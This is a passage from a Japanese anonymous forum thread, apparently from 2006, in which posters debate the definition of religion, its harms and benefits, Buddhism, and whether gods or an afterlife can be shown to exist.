私はあなたとのやりとりで、随分いろんなことがわかりましたし、
先に進んでいると思います。
また、あれからも、それほど先に進んでいると思いませんよ。

>宗教の問題では無く、個人の意識の問題になりますね？
あなたの最後は、これで終わっておりますし、
電球さんも、同じく、
>宗教とは「現実とは究極的に何であるのか、宇宙における秩序(あるいはしばしば無秩序)の根源は何であるのか、
>人間にとってもっとも一般的な意味でいかなる権威を受け入れることができるのか、そしてそのような世界に
>おいて個人のいかなる行為が意味を持つのかを明らかにしたり、あるいは暗示したりする」(べラー)ものです。
と引用して、個人の問題に還元する発言をしております。

たぶん、もうすぐ寝る時間だとは思いますけど、
私の宗教の定義は、どうですか、ご理解いただけますか？
177 名前：1 ：2006/01/13(金) 05:06:32 ID:HrSRc49s: >>176
こんばんは。
定義は俺もあまり変わりません。
理解できますよ。

何より嬉しいのは、否定スレが上がらず、煽りのようなレスが少なくなった。
ということですね。
このような議論を続けていけば、お互いが歩み寄れると信じています。
あなたにも、感謝してます。　
178 名前：( ´,_ゝ｀) ：2006/01/13(金) 05:20:26 ID:Y1pPZLYH: 例えば、私は、宗教を次のように考えます。
とある宇宙のエネルギーを体験する集団があるとします。
その集団の目的は、まさに宇宙エネルギーを体験することです。
その集団の中の一人が、大地に耳を当てることで、宇宙エネルギーを体験したとします。
すると、その集団のほかの人間も、大地に耳を当てるでしょう。
また、ほかの一人が、太陽に足の裏をかざしても、同じ体験をしたとします。
やっぱり、ほかの人間も同じ事をするでしょう。
彼らは、宇宙エネルギーという神を信仰し、その信仰を共有するために、
大地に耳をあて、足の裏を太陽にかざすのです。
立派に宗教を信じていると思います。

私が、いわんとすることはわかるでしょうか？
これは表現の問題で、自由に聞こえるのです。
彼らの宇宙エネルギーの団体は、このふたつの行為しか認めていないとしたら如何でしょう？
つまり、宇宙エネルギーの体験のためには、そのふたつしかないとしたら。
それを受け入れる人はその集団にとどまるでしょう。
しかし、それを受け入れない人は、違う集団を形成するしかありません。
つまり、宗教とは、自分の信ずるものを相手に強制させるのです。
それは、まさに、誰がなにを信じようが自由ではありません。
私が言わんとする宗教の矛盾とは、このことです。
わかりづらいでしょうか？
179 名前：1 ：2006/01/13(金) 05:22:54 ID:HrSRc49s: ちょっと、個人的意見を。

俺が死後の世界を信じてます。
死後、人は生前の人生を振り返るそうです。
しかも、自分の立場では無く、自分が影響を与えたすべての相手の立場に立って。
人に優しくすれば、死後、自分から優しくされた事を経験します。
人を傷つければ、死後、自分から傷つけられる経験をする訳です。

事実かどうかは、関係ありません。
ただ、この思想に出会ってから、対人関係がガラリと変わりました。
もちろん、良い方向にです。
それだけで充分です。　真実か？偽者か？はどうでもいいんです。
自分の人生が、豊かになりましたから。

誰にも、押し付ける気はありません。
この妄想に浸って、現実を放棄している訳でもありません。
俺にとっての信仰とは、こういうものです。
神も存在します。　俺の中では。
これを他人に否定された時、自分を否定されたと感じます。
180 名前：1 ：2006/01/13(金) 05:28:52 ID:HrSRc49s: >>178
理解できますよ。
俺が団体に属さない理由も、それですから。
だからと言って、宗教が必要無いと、いう答えにはなりませんよ。
実際、耳や足の裏を使って、人生の役に立つ人がいるなら、
その団体は、それらの人には有効ですから。

自分には有効じゃないから、その団体は必要無い。と言うのはおかしいですよね？
181 名前：1 ：2006/01/13(金) 05:31:07 ID:HrSRc49s: 今日は結構、疲れています。
読みづらい日本語で、ごめんなさい。
182 名前：( ´,_ゝ｀) ：2006/01/13(金) 05:46:44 ID:Y1pPZLYH: >>177
理解賛同してくれて、ありがたいです。
でも、すこし、気になることがあるので、よろしいでしょうか？

>否定スレが上がらず、煽りのようなレスが少なくなった。

という気持ちはわかりますが、わたしはこのような掲示板のいいところは、
自分とは違う考えや発言に触れることだと思いますよ。
我々は、自分が理解できないことはどうしても理解できないのです。
言葉も理解できなければ、発言も理解できないということはたくさんあります。
でも、日常生活では、あっという間にそのようなことは通り過ぎていきます。
でも、ここでは、ゆっくりと考えることはできるし、足りない知識を補って、
発言する機会や、今まで知らなかった相手を理解することも可能です。
もっと、謙虚になるべきではないでしょうか？
わたしも茶化しや否定や煽りもしますよ。
そのすべてを受け入れることはできませんか、真実の一面だと思いますよ。
単に理解できないだけなんですよ。否定的に取る必要はないでしょう。
逆に、そのようなことがあるからこそ、ここは面白いのです。
結局は、自分の問題です。違いますか？
183 名前：( ´,_ゝ｀) ：2006/01/13(金) 05:53:27 ID:Y1pPZLYH: >>180
あなたのいわれるのは、多分、知識としての宗教だと思うのです。
聖書を読んで考えたり、法華経を読んで感動したりすることです。
でも、それは、お勉強です。信仰ではありません。
宗教とは、あなたが信仰を受け入れ、神を見出そうとすることです。
強い言葉で言えば、洗脳を認めることです。
まさに、生死をかけて戦うんです。
なまやさしいものではないと思いますよ。

>>182はちょっと強く書きすぎたかもしれませんね。
疲れているのに失礼しました。気にしないで下さい。スルーしてくださいね(^^♪
184 名前：バカ梵 ：2006/01/13(金) 06:43:41 ID:kxb0QOwX: 宗教の定義はさまざまだな。。俺は宗教と見なす枠がもっと広い。
俺の勝手な定義を言わせてもらうと、
「真実はこれこれである。だからあなたはこうしなければならない」
という論理が宗教。つまりは真理の理論とそれに基づく実践のペア。
だから、五感で知覚できる現実界に基づく166さんの主張も
俺にとっては宗教と大して変わらない。観念の理論を卑下する行為も、
現実界のみで世界ができているという信仰の裏返しに他ならないと俺は思う。
ちなみに観念的理論は学問の分野でも役に立つ。現実界を操作する際には
重宝するツールだったりする。現実界には十分に必要なものだ。
その他、( ´,_ゝ｀)さんの言うように、企業組織もまた限りなく宗教に近いと俺も思う。
企業の広告と集金というシステムもまさに宗教じゃないかと思ったりする。
例えば、狂信的なmac信者という言葉も、、そのような側面から現れたものだ。
国というシステムはまさに宗教。自分たちの理論に基づき人殺しまでする。
学問はそれ自体純粋に理論のみを求める傾向が強いけど、
人間と直接関わる分野では宗教的に使われる事も少なくない。
169さんの言う精神病の認定と治療なんかがそうだ。
信じてるものに違いがあるだけだと俺は思う。

まぁ、無茶苦茶な定義だと思う人も多いとは思うけど、
身近には意外と宗教的なものが溢れてるというのが俺の考え。
185 名前：名無しさん＠３周年 ：2006/01/13(金) 06:52:28 ID:ZZDJI400: 宗教とは神や奇跡を『信じる』事です。
186 名前：( ´,_ゝ｀) ：2006/01/13(金) 06:54:54 ID:Y1pPZLYH: なるほど、みなさん、もの凄く広く宗教を捉えているのですね。
でも、私の定義で、既存の宗教は当てはまりませんかね。
宗教的というのは、この際度外視してくださいね。
あまりにもいろいろなものを含めると、ほんとに先に進まなくなると思うんですよ。
187 名前：バカ梵 ：2006/01/13(金) 07:16:25 ID:kxb0QOwX: おっと失礼。俺の話は無視してどうぞ
188 名前：( ´,_ゝ｀) ：2006/01/13(金) 07:19:41 ID:Y1pPZLYH: いえいえ、誰もいませんし、私ももうすぐ仕事になりますので(^_^;)

今日は、かなり遅くまで仕事になりますので、もしかすると、
全然レス出来ないかも。

どうぞ、レスしてください。
189 名前：名無しさん＠３周年 ：2006/01/13(金) 07:34:26 ID:cDgmNnz6: で、結局>>146は八正道の「正しさ」の基準が何を指しているのか説明できないということでFA。
結局、否定する対象をよく知らずに批判しているということが晒されただけか。
190 名前：名無しさん＠３周年 ：2006/01/13(金) 08:02:13 ID:cDgmNnz6: ＞( ´,_ゝ｀)
その宗教の定義って>>173か？
では、日本で一番メジャーな仏教において、仏教のどの部分がその定義にどのように対応するのかぐらいの具体例は示してくれ。
抽象的、観念的な議論はただの言葉遊びに過ぎん。
191 名前：( ´,_ゝ｀) ：2006/01/13(金) 08:15:55 ID:Y1pPZLYH: >>190
出かけに、急いでレスしますね。

仏教の場合は、
神は真理あるいはダルマあるいは涅槃あるいは空でしょうか。
信仰は、座禅であったり、念仏であったり、だと思います。
宗派についての違いはあるかもしれませんが、
基本的な流れは用語の違いでしょう。

とりあえず、落ちます。
回答については、午前12時過ぎにします。
192 名前：名無しさん＠３周年 ：2006/01/13(金) 08:27:19 ID:ws/ZyTOi: >>191
神を空だ涅槃だダルマだと定義されたらああそうですかとしか言えんな。
そんなご都合主義、おまえの思いつきでどうにでもなる定義での議論はくだらんよ。
( ´,_ゝ｀)教でも作って布教すればいいさ。
193 名前：1 ：2006/01/13(金) 08:36:55 ID:UPfL57n7: 「そんな事ばっかり考えないで、現実を見ろよ」
「いい加減、現実逃避はやめてさ」
「いくら言っても、バカには通じないな」
「あんたは、自覚できていないが、立派な病気だ」
「お前の言ってる事は、キモいんだよ」

こんなレスに、真実の一面が見えますか？
残念ですけど、俺には無理です。
受け止められないこちら側（肯定者）にも、非はあるんでしょうね。
でも、そっち側（否定者）は、お咎め無し？　フォローする価値があると？

現実のレスは、もっと幼稚で救いようが無いと思ってます。
194 名前：1 ：2006/01/13(金) 08:41:35 ID:UPfL57n7: >>183
あなたには、信仰には見えない。
でも、本人である俺は、「これは立派な信仰です」と断言しますよ。

>>192
～でしょうか。と書いてるではないか。　理解できんのか？
そんな態度が、深い溝を生むんだよ。
195 名前：電球：2006/01/13(金) 13:55:04 ID:KzMuWNGz: >>173
宗教の定義については他の研究者でも似たようなものです。ただ、それを言い始めると漠然としてて話しづらいｗので、。
( ´,_ゝ｀)さんのおっしゃっている狭義の宗教をお話している、というのは判っていますし、構いません（＾_＾）。
ただ私が指摘したかったのは、そもそも宗教否定論者は自分の理論からはずれるものは宗教でないとしている、
ということです。宗教否定論者が否定しているのはだいたい教団宗教です。それが宗教の全てだと信じていることに私は
若干の問題を感じます。
( ´,_ゝ｀)さんの定義について少し思うのは、まず一神教を念頭においている、ということ。それから、信仰とは
神を見出すこと、とすると、民俗宗教は宗教でなくなるということ。そして多くの否定論者と同じように、団体を条件に
すると、現代宗教について話すことができないということ。宗教の世俗化や拡散した宗教性が言われて久しいです。

( ´,_ゝ｀)さん、昨日は消えてしまって申し訳なかったです。>>150が今議論の最後ということになりますが、レスした
のが遅くて済みません。これに懲りずに、また相手してやって下さい（＾＾）。
196 名前：電球：2006/01/13(金) 14:15:07 ID:KzMuWNGz: >>191
私は仏教弱いので、あまり強く言えないんですが（皆さん、私がとぼけたことぬかしてたら、ツッコミお願い
します（＾　＾））、原始仏教はリアリズムそのもので神のような超常的な概念はないのでは。
ちなみに空の思想はブッダが考案したものではないです。
ブッダはこの世の苦しみは、欲がある為に起こる、物事は諸行無常なのにそれを理解せず、何かに執着する
ことで、欲が起こる、と考えました。それゆえ原始仏教は戒律だらけです。自分で自分を律するだけなので、
自己完結しています。他者に強制しません。これも認められないんでしょうか。
197 名前：名無しさん＠３周年 ：2006/01/13(金) 14:18:04 ID:6EZu/O0c: >>191
「神」をどのように定義するか？
198 名前：無所属な旅人 ：2006/01/13(金) 14:22:56 ID:S0U52S2w: あら、一例としたもので、もしかして否定論者にされてしまったかしら。
おそらく電球さんとほぼ同じ立場・思想的位置に居るものです。

まぁ、既存宗教団体郡や哲学の持つ理念をフィルターとして捕らえてｿｺから何か見えないかとかいう事を考えては居ますが。
物事の本質を捉えるのに一つのフィルターでも多数のフィルターでもいいと思うのですよねぇ。
まぁ、一部偶像化した教団宗教(?)郡から距離を置きたいというところが正直なところです。
教団にとらわれない信仰を持っているという状態なのでしょうか…。
====
洗脳という言葉が端々に見えますが、属性と様態について考えてみてくださいな。
其の方法が、結果として視野を拡大するための訓練になっていれば、理にかなった
部分制約であったということになるでしょう。
あるスポーツで効力を一番発揮できるフォームを習うようなものです。

走り書きでスイマセンが･･(^-^;
199 名前：電球：2006/01/13(金) 14:31:29 ID:KzMuWNGz: >>193
まあ、そういうレスは放っておきましょうよ。論理的に理由のない攻撃は批判でなく、中傷です。
相手にしていても疲れるだけですよ。そこから学ぶものもありませんし。
ただ言えるのは、否定論者がみな中傷するわけではないということです。まともなレスだけ相手に
すればいいでしょう。
私たち反・宗教否定論者は論戦には応じます。宗教はない方がいいと思う方はいつでもどうぞ。
200 名前：名無しさん＠３周年 ：2006/01/13(金) 14:43:58 ID:CHdsGAKb: ここが一番のｵｶﾙﾄだなw論述する自分に酔いしれる香具師の集まりだなwﾃﾗｷﾓｽ
201 名前：名無しさん＠３周年 ：2006/01/13(金) 15:16:13 ID:IYEUU9vH: 否定はしないが布教はするな
自分一人で部屋に篭って祈ってろ
202 名前：電球：2006/01/13(金) 15:31:38 ID:KzMuWNGz: >>201
いい教えと思うものを人にも伝えたい、という気持ちはよくわかります。それが悪いとは思えません。
また、その布教が元で入信して、実際に救われた人もいるわけです。
布教や勧誘そのものは別に悪いことではないわけです。ただの宣伝ですから。

しかし、確かに駅前で突然「あなたは神を信じますか？」と聞いてくる連中は迷惑です。
ああいった人は私も嫌いですね。うっとうしい。

つまり私は、布教、勧誘をするなら、
「○○という団体の者です。信仰の話をしたいのですが、少しお時間宜しいでしょうか」
と言って、相手の了解を得られてから「あなたは神を信じますか？」とするべきだ、と言いたい。
要するに、ああいう宗教の勧誘が迷惑なのは、いきなり家に上がりこんでよくわからない
健康器具の説明をするセールスマンが迷惑なのと同じ理由です。興味ないからやめてくれ、
ということ。相手の事情を考慮できない人間に問題がある。
それさえクリアできれば、私は構わないと思いますね。そして現にクリアしている団体は多いですよ。
203 名前：名無しさん＠３周年 ：2006/01/13(金) 15:38:47 ID:HMMbF1ec: >>184
＞ちなみに観念的理論は学問の分野でも役に立つ。現実界を操作する際には
＞重宝するツールだったりする。現実界には十分に必要なものだ。

>>166の宗教の定義では、「観念が役に立つ、立たない」については何も言っては
ないだろ。「観念に最高の価値を認める」、即ち単なる観念である「神」や
「共産主義ユートピア」を人命にも優先するのが宗教だと言っている。そうで
なければ、宗教ではない。例えば、学問や宗教も観念の部分が大きいが、その
相違のために人を殺すことはない。
204 名前：名無しさん＠３周年 ：2006/01/13(金) 15:43:42 ID:HMMbF1ec: >>184
宗教の定義に、「真理」とか「神」とか「人生や世界の究極的問題」などと
いう言葉を使うと、それらの言葉の定義が再び必要になるので、宗教の定義に
はなっていない。
205 名前：名無しさん＠３周年 ：2006/01/13(金) 15:59:45 ID:pdEEI9d7: なかなかいいスレになってきたな。
唯一の汚点は、このスレを立てたのが>>1だってことだ。
206 名前：名無しさん＠３周年 ：2006/01/13(金) 16:11:39 ID:CHdsGAKb: >>199の電球wﾌﾟﾌﾟﾌﾟまずここはお前が一人一人に答えていくスレじゃないだろ?お前は何様なのよ?w放っておいてとかw
207 名前：バカ梵 ：2006/01/13(金) 17:15:23 ID:kxb0QOwX: >> 203
だから「ちなみに」と言ってる。単なる俺のコメントだ

> 学問や宗教も観念の部分が大きいが、その相違のために人を殺すことはない。
そうかな？
学問の名のもとにに行われてきた人体実験、学説の相違による弾圧等、
人命・人権を無視した行為は数多くあると思うぞ。
昔の話だ、一部の話だと言うかもしれない。
しかしそれはあなたの否定している宗教にも当てはまる事だ。
俺が言いたいのは、宗教と一言で言って区別できるものではないという事だ。
この世界の多くのものには、宗教と同じ側面がある。
宗教を否定する事は、それら全てを否定する事につながる。
208 名前：192 ：2006/01/13(金) 17:47:44 ID:DdK53CfG: >>194
煩い、チンカス。
ちゅうか、宗教偽善者の性質が>>194に端的に表れている。
「己のカスのような善悪の価値観で他者を裁く。」
209 名前：電球：2006/01/13(金) 17:55:23 ID:KzMuWNGz: >>207
全くおっしゃるとおり！確かに宗教には批判されるべきポイントがたくさんある。
ですが、それは全てを否定する理由にはならない。それを言うなら全てのものを
否定しなければならなくなる。
宗教にしても、学問にしても、何にしても、それらを構成する要素でひとつ、
共通のものがあります。「人」です。
なぜ宗教にだけ悪因を求めるんでしょうか。それを使うのは人なのに。
私には宗教に悪因を求めるのは、人の責任から目を逸らす行為に見えます。
210 名前：1 ：2006/01/13(金) 18:51:47 ID:QW98dP9n: 「新しき啓示」という本をお薦めします。
既存の宗教を木っ端みじんにして、新しい信仰の形を提案してますよ。
211 名前：名無しさん＠３周年 ：2006/01/13(金) 19:38:25 ID:pdEEI9d7: ホント１ってバカだね。
212 名前：名無しさん＠３周年 ：2006/01/13(金) 20:05:58 ID:9STbgmxC: >>207
>>209
宗教者特有の、あくなき自己正当化と人間の軽視・否定ですね。

人間とは、生存と種族維持の基本的本能を有する動物に過ぎない、という
唯一の「普遍の事実」を基盤にして思考すべきです。人間は独りでは生存も
種族維持も出来ないことを、これも本能的に知っていますから、この基本的
本能から、共同体形成維持の本能、自他の死への恐れ、他者への憐れみなど
の自然の感情が生じます。人間にビルトインされたこれらの本能や自然の
感情を、教祖の精神異常に起因する「観念の遊戯」により制限・変容・破壊
するのが、宗教なのです。

生存のための、又は激情に駆られた偶発的殺人は起こりますが、一神教（共産
主義やナチスを含む）によるものほどの大規模かつ残虐な大虐殺はありません。
彼らにとっては、異教徒・異教派を虐殺することは、良心の呵責など皆無で
あるばかりでなく、神と天国に近づく道なのです。

オウムの人々も、生来は真面目で純粋な人間なのに、宗教に嵌ったばかりに、
１００％の善意で人を殺し、自らも死刑台に登らなければなりません。彼ら
やその家族は、宗教の痛ましい犠牲者なのです。

キリスト教は、すべての人間を「罪人」と看做しますから、人間の軽視・否定
が生じるのは、必然です。「人間の尊重」「生命の尊厳」などとは、原理的に
両立し得ないのです。

現実の人間以外の単なる観念に最大の価値を認める宗教により、人間の生来の
精神が狂わされるのは、あまりにも当然のことでしょう。
213 名前：名無しさん＠３周年 ：2006/01/13(金) 21:28:17 ID:0kmScDXc: 今日は三大観音のところに行ってきたよ
まぁまぁ作用がきた
214 名前：電球：2006/01/13(金) 22:09:38 ID:8+Cg91T6: >>212
まず、以前にも書きましたが、私は無宗教です。
唯一の「普遍の真実」を基盤に、というのは大変興味深い考え方です。
しかし、それを人に押しつけるなら、それはあなた自身が批判していることになります。
それと宗教の定義が正確でありませんが、それに関しても以前書いたので繰り返しません。

確かにオウム信者はオウムの思想(具体的には聖無頓着ですね)に
踊らされたわけですが…彼らは無実だと？極論ですね。ちなみに、彼らは宗教の
犠牲者ではなく、オウムの犠牲者ですよ。

キリスト教の教義は「よくわかる　キリスト教」という本が読み易くておすすめです。
バチカンは人工妊娠中絶に反対しています。
生命は神から与えられたものだから尊い、と考えるわけですね。

さて、科学は人を虐殺します。核は科学が作り出したものです。
科学がなければ、広島・長崎の大虐殺はなかった。ゆえに科学は害悪です。
この論理、どこがおかしいか分かりますよね。科学が人の生活を豊かにし、
命を救ってきた事実を無視しています。

私は批判されるところは批判されて、評価されるところは評価されるべきだ、
という普通のことを言っているに過ぎません。

宗教は道具です。解釈次第で何にでも変わります。確かに宗教はテロや戦争を肯定する道具にもなります。
しかし、宗教は人を救うこともあります。そしてテロや戦争を否定する道具にもなります。

宗教の為に人があるのではありません。人の為に宗教がある。宗教は人の幸せの為になければならない。
宗教が人を不幸にすることは許されない。そんな宗教は私も認めない。
しかし、人は幸せになるために宗教を利用できます。だから私は宗教否定論に反対します。
215 名前：名無しさん＠３周年 ：2006/01/13(金) 22:29:49 ID:9STbgmxC: >>214
考え（観念）を押し付けているのではなく、事実を指摘しているだけです。
それを言うなら、すべての宗教は、自分の考えを押し付けているのではあり
ませんか。あなたは矛盾していますよ。

科学は、宗教や神など語らず、専ら現実に沈潜したため、いかなる宗教の奇跡
も上回る進歩を遂げ、人類に巨大な利便を齎しました。朝から晩まで、科学の
恩恵をたっぷりと享受しながら、宗教を肯定し、科学を非難するなど、先人の
努力と労苦に対する冒涜の行為だとは思わないのですか。

原爆を作ったのも、投下して瞬時に無数の人命を奪ったのも、キリスト教徒。
投下する前に、神に祈ったそうですよ。

オウムもその他の宗教も、本来の人間の精神を狂わせるという点では、原理的
に全く同じ。殺した人間の数は、キリスト教とは数桁、数十桁違います。

宗教に嵌れば、殆どの場合、人間が宗教の奴隷となります。その逆はありえま
せん。あなたは宗教の本質と病理を全く理解していませんね。
216 名前：名無しさん＠３周年 ：2006/01/13(金) 22:41:08 ID:Faj4/Osn: >>215
あんたの書き方だと、原爆を投下した人間がキリスト教徒じゃなかったら、
違う歴史になってた。とでも思ってるような書き方だな？
核も宗教も利用する人間の問題なんだよ。
核は核。それ以上でも、それ以下でも無い。
宗教も同じ。利用しだいで善にも悪にもなる。

その辺のカルト教団と同じ思想なにってるよ、あんたは。
この世のバランスは、排他主義によりバランスが崩れるんだよ。
217 名前：無所属な旅人 ：2006/01/13(金) 22:47:48 ID:yQWjQ4HP: >>212さん
確かにはっきりしているものから見るとそういう表現になるのでしょうね。
おそらく前に質問した方かと思いますので再度質問です。

まず、霊体や魂と言われるものが無いとするのか、あると信じるのか、または実在すると感じることができるかで異なるとおもうのです。
この点を示すもので第六感という言葉を使っていた方が居たのだという点についてなにかありますでしょうか。

次に、あくまで五感であるとするなら、その欠如した不確定要素を観念という枠に押し込める意義はどのようになるのでしょうか。

「観念の遊技」であるかの判断基準は何処になるのでしょうか。

宗教批判に関しては電球さんが先に仰ってるので割愛します。
もしよろしければお答えいただくと理解しやすくなりますので、お願いします。
218 名前：名無しさん＠３周年 ：2006/01/13(金) 23:12:32 ID:9STbgmxC: >>216
＞核も宗教も利用する人間の問題なんだよ。

その人間の判断力を奪うのが、宗教なのです。神の名を唱え、天国の実在を
信じて自他の生命を奪い続ける自爆テロリストを見ても、宗教の狂気が判ら
ないのですか。彼らの信じる神や天国が実在するとでもマジで思うのですか。

>>217
五感は、物の実在を判断する唯一器官です。「観念の遊戯」とは、五感で知覚
できない物が実在すると考えることです。

五感は、人間の生存を可能にする唯一の器官です。人間は霞を食っては生存でき
ないのです。五感で知覚できる危険物を避けなければ殺されます。しかし、
神や霊によって殺されることは、絶対にありません。
219 名前：名無しさん＠３周年 ：2006/01/13(金) 23:22:32 ID:Faj4/Osn: >>218
宗教が世界中にどれだけあって、その中で自爆テロを起こす団体が、
何割いるか、ご存じですか？
その団体を批判している宗教団体の数は？

あなたの視野は狭すぎると、言っているんですよ。
220 名前：名無しさん＠３周年 ：2006/01/13(金) 23:25:02 ID:ggYy0Y9q: >>218
どの宗教の信者が何をしでかそうと信者がどんな目に遭おうと
神や来世が存在しないことの証明には全くならないわけだが。
221 名前：名無しさん＠３周年 ：2006/01/13(金) 23:38:42 ID:9STbgmxC: >>220
物が「存在しないこと」の証明は、「悪魔の証明」と言われ、不可能です。
これは証拠法上の鉄則。ちょっと頭を使えば判ること。あくまで、「存在証明
の不可能性」によって「不存在」を証明します。

あなたの日常生活から帰納して、五感で知覚できないのに実在する物が、唯の
一つでもあれば、挙げて下さい。

死んで間然に火葬されれば、感覚器官も思考器官も灰になって消滅します。
一体どうやって来世を認識できるのですか。
222 名前：名無しさん＠３周年 ：2006/01/13(金) 23:45:10 ID:ggYy0Y9q: >>221は名前しか知らされていない人物の存在証明はできるか？
223 名前：名無しさん＠３周年 ：2006/01/13(金) 23:46:07 ID:Faj4/Osn: >>221
あんたは、愛も否定するのか？　思いやりも？
目に見えないものは、肯定できないと？
手に持てないものは、存在しないと？

唯物論者が世界の主導権を握ったら、これ以上、世界は進化しないな。
224 名前：名無しさん＠３周年 ：2006/01/13(金) 23:48:01 ID:ggYy0Y9q: ＞物が「存在しないこと」の証明は、「悪魔の証明」と言われ、不可能です。

＞「存在証明の不可能性」によって「不存在」を証明します。

矛盾してるぞ。
225 名前：名無しさん＠３周年 ：2006/01/13(金) 23:48:37 ID:9STbgmxC: >>222
名前だけで、本人を知覚できなければ、それは架空の人物。
226 名前：名無しさん＠３周年 ：2006/01/13(金) 23:53:56 ID:9STbgmxC: >>223
「愛」や「思いやり」は、百人百様の感情であって、物ではない。
従って、観念として存在はするが、物としての実在ではない。
227 名前：名無しさん＠３周年 ：2006/01/13(金) 23:54:55 ID:ggYy0Y9q: 絵や指紋としたほうがよかったかな。同姓同名の人間はいくらでもいるが
同じ顔の人間は一卵性双生児等を除いて存在しないからな。
指紋は世界に唯一つ。最近セキュティ技術に取り入れられた「手のひらの静脈の並び」でもいいな。
228 名前：名無しさん＠３周年 ：2006/01/14(土) 00:05:27 ID:EZqVZcF2: >>226
神も死後の世界も、それと同じように考えればいいじゃない？
自分に都合の良い、五感以外で感じるものは肯定して、
都合が悪いと否定ですか？
229 名前：名無しさん＠３周年 ：2006/01/14(土) 00:07:04 ID:9STbgmxC: >>224
「存在しないことの証明」とは、「存在しないこと自体の証明」の意味。
その程度は読み取れよ。

例えば、ある液体中にある物質が存在しないこと自体の証明はできない。
存在しないものは、証明のしようがないからである。その物質に反応する
試薬を入れて、反応しないこと（即ち、存在証明の不可能）によって、不
存在を証明する。
230 名前：名無しさん＠３周年 ：2006/01/14(土) 00:07:43 ID:u+0/10XK: たとえ絵のモデル・指紋の持ち主が実在しても

調査する者が本人を見つけ出すまでは、
存在するか存在しないか
は彼（調査者）にとっては不明のままだ。
231 名前：名無しさん＠３周年 ：2006/01/14(土) 00:10:39 ID:HEdfNLsa: >>228
＞神も死後の世界も、それと同じように考えればいいじゃない？

ならば、神も死後の世界も、単なる観念。実在ではない。空想なら、
誰にでも自由です。
232 名前：名無しさん＠３周年 ：2006/01/14(土) 00:12:02 ID:u+0/10XK: >>229
けっきょく、神や前世が存在しないことの証明はできないんだろ。
存在証明できないから、とりあえず存在しないってことにしてるだけ。
233 名前：名無しさん＠３周年 ：2006/01/14(土) 00:16:33 ID:HEdfNLsa: >>230
たとえ調査者自身が知覚しなくても、他の誰かが確実に知覚していればよい。

神や霊や来世は、史上、誰も知覚した者はいない。従って、実在ではないと
いうこと。
234 名前：名無しさん＠３周年 ：2006/01/14(土) 00:20:35 ID:HEdfNLsa: >>232
数千年間存在証明が出来ないのだから、実在しないと結論してもよいのでは。
それともまだ期待してるｗ？

神の観測装置を開発している会社の話も聞かないね。開発費の無駄だという
ことが、誰にでも判っているからだろう。
235 名前：192 ：2006/01/14(土) 00:23:43 ID:CKywUiuX: 鬱陶しい議論してるな。
いずれにしろ真理に対する渇望があるだけだろうが。
宗教の否定というのは
宗教を否定することにより宗教を超えたいと思うエゴの肥大が存在するだけだ。
236 名前：名無しさん＠３周年 ：2006/01/14(土) 00:24:22 ID:QEFgyZdw: >>233
調査者が見つけられようと見つけられまいと
「本人」自身はいうまでもなく自分を認識してる。
>>234
やっぱり「そういうことにしておこう」だったか。
237 名前：名無しさん＠３周年 ：2006/01/14(土) 00:24:22 ID:EZqVZcF2: >>233
凄いね、あんたは。
史上のすべてを知ってるんだね？
238 名前：名無しさん＠３周年 ：2006/01/14(土) 00:32:51 ID:HEdfNLsa: >>235
宗教こそ、自分の救い、自分の幸福を求める、エゴの塊でなないか。

>>236
共同体性は、人間の本質。いくら自分で自分を認識しようとも、他者が
認識してくれなければ、自分はない。単なるユー霊。デカルトの「我思う
故に我在り」の命題は誤り。

あと何千年間待つつもりｗ？
239 名前：名無しさん＠３周年 ：2006/01/14(土) 00:34:49 ID:QEFgyZdw: >>238
＞いくら自分で自分を認識しようとも、他者が
＞認識してくれなければ、自分はない。

つまり人類最後の人間は存在することがないんだな。
240 名前：名無しさん＠３周年 ：2006/01/14(土) 00:35:16 ID:HEdfNLsa: >>235
真理とは何？その真理性はどうやって検証する？真理とは普遍的なもの。
自分だけの真理は、真理とは言わない。
241 名前：名無しさん＠３周年 ：2006/01/14(土) 00:39:14 ID:HEdfNLsa: >>239
＞つまり人類最後の人間は存在することがないんだな。

そうだと思うね。知覚してくれる他者がいないのだから、実在の証明が
できない。つまり、いてもいなくても無意味だということ。
242 名前：名無しさん＠３周年 ：2006/01/14(土) 00:42:56 ID:HEdfNLsa: 「個は、他との関連においてのみ存在し得る」（縁起、空）。これって、仏教
の中心思想のはずだが。

現代西洋哲学でも、「自我」は否定されつつあるようだ。
243 名前：192 ：2006/01/14(土) 00:43:16 ID:CKywUiuX: >>235
＞宗教こそ、自分の救い、自分の幸福を求める、エゴの塊でなないか。
そう思うならかまわんよ。

宗教否定で宗教を超えることはできんよ。否定することで宗教にしがみついているお前の有様が晒されるのみ。
244 名前：名無しさん＠３周年 ：2006/01/14(土) 00:44:48 ID:yTIIGZGj: 全財産（不動産、預貯金、株式等）
お布施しなさい！
さすればそちは幸せになれるであろー
この方法でがっぽがっぽ（゜Д゜）ｳﾏｰ
245 名前：名無しさん＠３周年 ：2006/01/14(土) 00:46:29 ID:QEFgyZdw: >>241
「実在の証明ができない。」と「実在しない。」は違う。
246 名前：192 ：2006/01/14(土) 00:48:30 ID:CKywUiuX: >>240
否定することが目的なのだろう？
誰かの言う真理を否定したくてたまらないのだろう？
それを否定すると、まるで自分が真理に近づいたかのような錯覚に陥れるからな。
否定することで、何かを知っているように錯覚できる。
247 名前：名無しさん＠３周年 ：2006/01/14(土) 00:49:47 ID:QEFgyZdw: 「実在の証明ができない。」は実在するかしないかわからないということ。
248 名前：名無しさん＠３周年 ：2006/01/14(土) 00:50:24 ID:HEdfNLsa: >>245
同じことじゃん。「実在の証明ができない」ものは、「実在する」とは
言わない。
249 名前：名無しさん＠３周年 ：2006/01/14(土) 00:51:23 ID:nk7FhOj/: 漏尽通がなければ無理無理ムリ
ぜんぶむりむーり
250 名前：名無しさん＠３周年 ：2006/01/14(土) 00:55:24 ID:QEFgyZdw: しかし、これから先のいつか(遠い未来だといいのだが)「人類最後の人」は
は確実に存在することになる。全人類が隕石の直撃などで数秒または一瞬で滅びる
ことになっても、0.000(中略)001秒でも遅く死ねばその人は
人類最後の人である。
251 名前：名無しさん＠３周年 ：2006/01/14(土) 00:57:03 ID:HEdfNLsa: >>247
＞「実在の証明ができない。」は実在するかしないかわからないと
＞いうこと。

まだ諦めきれないのｗ？何故そんなに執着する？人間と自然は厳然と
して実在しているから、それで十分ではないのか。

数千年間も不確かなものを求めるより、もっと確かなものを求めるべき
ではないのか。
252 名前：名無しさん＠３周年 ：2006/01/14(土) 00:57:47 ID:QEFgyZdw: >>248
「厳密に」同じと言えるか？
